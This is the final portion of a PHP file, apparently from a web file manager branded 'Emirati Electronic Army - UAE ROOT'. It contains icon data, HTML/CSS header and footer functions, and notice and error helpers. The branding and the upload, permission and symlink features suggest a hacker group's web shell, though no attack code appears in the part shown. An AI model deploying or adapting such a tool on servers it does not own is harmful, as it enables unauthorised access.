		return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA=');
	case 'arrow':
		return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');
	}
}

function html_header () {
	global $site_charset;

	echo <<<END
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta http-equiv="Content-Type" content="text/html; charset=$site_charset" />

<title>Emirati Electronic Army  -  UAE ROOT</title>

<style type="text/css">
body { font: small sans-serif; text-align: center }
img { width: 17px; height: 13px }
a, a:visited { text-decoration: none; color: navy }
hr { border-style: none; height: 1px; background-color: silver; color: silver }
#main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
#main th { background: #eee; padding: 3pt 3pt 0pt 3pt }
.listing th, .listing td { padding: 1px 3pt 0 3pt }
.listing th { border: 1px solid silver }
.listing td { border: 1px solid #ddd; background: white }
.listing .checkbox { text-align: center }
.listing .filename { text-align: left }
.listing .size { text-align: right }
.listing .permission_header { text-align: left }
.listing .permission { font-family: monospace }
.listing .owner { text-align: left }
.listing .group { text-align: left }
.listing .functions { text-align: left }
.listing_footer td { background: #eee; border: 1px solid silver }
#directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
#directory { background: #eee; border: 1px solid silver }
#upload { padding-top: 1em }
#create { padding-bottom: 1em }
.small, .small option { font-size: x-small }
textarea { border: none; background: white }
table.dialog { margin-left: auto; margin-right: auto }
td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
#permission { margin-left: auto; margin-right: auto }
#permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
td.permission_action { text-align: right }
#symlink { background: #eee; border: 1px solid silver }
#symlink td { text-align: left; padding: 3pt }
#red_button { width: 120px; color: #400 }
#green_button { width: 120px; color: #040 }
#error td { background: maroon; color: white; border: 1px solid silver }
#notice td { background: green; color: white; border: 1px solid silver }
#notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
code { font-size: 12pt }
td { white-space: nowrap }
</style>

<script type="text/javascript">
<!--
function activate (name) {
	if (document && document.forms[0] && document.forms[0].elements['focus']) {
		document.forms[0].elements['focus'].value = name;
	}
}
//-->
</script>

</head>
<body>


END;

}

function html_footer () {

	echo <<<END
</body>
</html>
END;

}

function notice ($phrase) {
	global $cols;

	$args = func_get_args();
	array_shift($args);

	return '<tr id="notice">
	<td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
</tr>
';

}

function error ($phrase) {
	global $cols;

	$args = func_get_args();
	array_shift($args);

	return '<tr id="error">
	<td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
</tr>
';

}

?>